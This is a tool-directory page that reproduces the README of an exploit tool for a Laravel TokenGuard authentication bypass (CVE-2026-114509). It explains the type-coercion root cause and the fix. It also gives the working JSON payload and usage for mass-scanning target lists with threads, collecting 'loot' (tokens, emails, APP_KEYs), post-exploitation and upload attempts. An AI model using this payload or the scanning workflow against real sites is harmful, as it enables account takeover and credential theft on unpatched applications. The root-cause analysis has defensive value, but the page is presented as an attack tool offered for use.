Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacyΒ© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-114509 β€” Laravel TokenGuard authentication bypass through non-string API credentials | Kitploit
Tools/GitHubGitHub/nxploited/cve-2026-114509
ReconnaissanceVulnerability ScannersWeb Vulnerability ScannersExploitationWeb Application ExploitationInformation GatheringPost-ExploitationPenetration TestingAuthentication
GitHubnxploited/cve-2026-114509

CVE-2026-114509

820h 31m agoNot yet reviewed

Most Popular

View all β†’

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools β†’
Share

Laravel TokenGuard authentication bypass through non-string API credentials

View Repository

CVE-2026-114509

Laravel TokenGuard authentication bypass through non-string API credentials

πŸ”΄ CVE-2026-114509 β€” Laravel TokenGuard Authentication Bypass

Unauthenticated Authentication Bypass in Laravel Framework β€” TokenGuard API Guard


πŸ“‹ Overview

CVE-2026-114509 is a critical authentication bypass vulnerability in Laravel Framework's built-in TokenGuard.

When configured with a standard token-based API guard on MySQL or MariaDB, an unauthenticated attacker can submit a crafted non-string credential (a JSON array) that causes the authentication lookup to match an unintended existing user β€” granting full access without knowing any valid API token.

This leads to complete account takeover on any route protected by the affected guard.


πŸ›‘οΈ Vulnerability Details

FieldDetails
CVE IDCVE-2026-114509
GHSAGHSA-f9x3-7vq9-cph6
Affected SoftwareLaravel Framework (laravel/framework)
Affected Versions< 12.68.0 and >= 13.0.0, < 13.29.0
TypeAuthentication Bypass
CWECWE-287 β€” Improper Authentication
CWECWE-1287 β€” Improper Validation of Specified Type of Input
CVSS 4.0 Score9.2 / 10 β€” CRITICAL
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
AuthenticationNone required (Pre-Auth)
ConditionMySQL / MariaDB backend
Patchv12.68.0 / v13.29.0

βš™οΈ CVSS 4.0 Breakdown

MetricValueMeaning
Attack VectorNetworkExploitable remotely over the internet
Attack ComplexityLowNo special conditions beyond MySQL/MariaDB
Attack RequirementsPresentRequires MySQL/MariaDB type coercion behavior
Privileges RequiredNoneNo authentication needed
User InteractionNoneNo victim action required
ConfidentialityHighFull read access to authenticated user data
IntegrityHighCan modify data as the bypassed user
AvailabilityHighCan disrupt service via account takeover

πŸ”¬ Technical Analysis

Root Cause

This is a type confusion bug at the boundary between HTTP request parsing, PHP framework logic, and SQL database behavior. Three ordinary behaviors align to create the vulnerability:

  1. TokenGuard accepts non-string input β€” The user() method in TokenGuard.php uses !empty($token) instead of is_string($token) && !empty($token). JSON request bodies can provide arrays or integers as the token value.

  2. EloquentUserProvider builds a WHERE IN query β€” When retrieveByCredentials() receives an array value, it generates WHERE api_token IN (...) instead of WHERE api_token = ....

  3. MySQL type coercion β€” MySQL converts string columns to numbers for comparison. Integer 0 matches any string that doesn't start with a digit (which is most API tokens), because MySQL casts those strings to 0.0.

Exploitation Chain

JSON Body: {"api_token": [0]}
        β”‚
        β–Ό
TokenGuard::user()
  β†’ getTokenForRequest()
  β†’ !empty([0]) === true          ← Should reject non-string
        β”‚
        β–Ό
EloquentUserProvider::retrieveByCredentials()
  β†’ WHERE api_token IN (0)        ← Array becomes WHERE IN
        β”‚
        β–Ό
MySQL Type Coercion
  β†’ 0 == "wAWrHm..." β†’ true      ← Int 0 matches any string token
        β”‚
        β–Ό
first() returns User #1
  β†’ check() === true
  β†’ Authentication Bypassed βœ“

Attack Flow

β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
β”‚    Attacker (No Creds)   β”‚
β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜
             β”‚
             β”‚  POST /api/user
             β”‚  Content-Type: application/json
             β”‚  {"api_token": [0]}
             β–Ό
β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
β”‚    Laravel Application   β”‚
β”‚                          β”‚
β”‚  TokenGuard::user()      β”‚
β”‚    ↓ !empty([0]) = true  β”‚
β”‚  retrieveByCredentials() β”‚
β”‚    ↓ WHERE IN (0)        β”‚
β”‚  MySQL coercion          β”‚
β”‚    ↓ 0 matches strings   β”‚
β”‚  Returns first user      β”‚
β”‚    ↓ Authenticated βœ“     β”‚
β”‚                          β”‚
β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜
             β”‚
             β”‚  200 OK
             β”‚  {"id":1, "name":"Admin",
             β”‚   "email":"[email protected]",
             β”‚   "api_token":"wAWrHm..."}
             β–Ό
β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
β”‚  Full Account Takeover   β”‚
β”‚  β€’ User data exposed     β”‚
β”‚  β€’ API token leaked      β”‚
β”‚  β€’ Admin access possible β”‚
β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜

The Fix

Laravel patched TokenGuard.php by adding a type check β€” if the token is not a string, the guard returns null immediately and never calls the user provider:

// Before (vulnerable)
$token = $this->getTokenForRequest();
if (! empty($token)) { ... }

// After (fixed)
$token = $this->getTokenForRequest();
if (! is_string($token) || empty($token)) { return; }

πŸš€ Usage

Requirements

  • Python 3.7+
  • requests
  • rich (for colored terminal output)

Installation

git clone https://github.com/Nxploited/CVE-2026-114509.git
cd CVE-2026-114509
pip install requests rich

Modes

The tool supports two modes: mass scan and single target deep probe.


πŸ” Mode 1: Mass Scan

Scan a list of targets for the vulnerability:

python CVE-2026-114509.py scan targets.txt

Options:

python CVE-2026-114509.py scan targets.txt --threads 60 --timeout 12
FlagDefaultDescription
targets(required)File with target URLs (one per line)
--threads60Number of concurrent threads
--timeout12Request timeout in seconds

Target file format (targets.txt):

https://target1.com
https://target2.com
http://192.168.1.100:8080
target3.com

Targets without a scheme default to https://.

Output files (created in script directory):

FileContents
LV_DETECTED.txtAll detected Laravel applications
LV_BYPASS.txtConfirmed authentication bypasses
LV_UPLOAD.txtUpload attempt results
LV_LOOT.txtExtracted data (tokens, emails, APP_KEYs, user data)

🎯 Mode 2: Single Target

Deep probe a single target with verbose output:

python CVE-2026-114509.py single https://target.com

Options:

python CVE-2026-114509.py single https://target.com --timeout 15

This runs all four phases sequentially with detailed output:

Phase 1: Laravel Detection...
  + laravel_session
  + XSRF-TOKEN
  + api:401

Phase 2: Auth Bypass (14 routes, 3 keys, 6 payloads)...
  SUCCESS /api/user [POST] [api_token=[0]]
    id: 1
    name: Admin
    email: [email protected]
    api_token: wAWrHmHkVV...

Phase 3: Post-Exploitation...
  users-list /api/users -> count=15
  panel:nova /nova/api/dashboards

Phase 4: File Upload (52 routes)...

Summary:
  Laravel: Yes (3 signals)
  Bypass:  Yes
  Upload:  0 attempts, 0 verified

πŸ”— Exploitation Chain

The tool executes a 4-phase chain:

Download Tool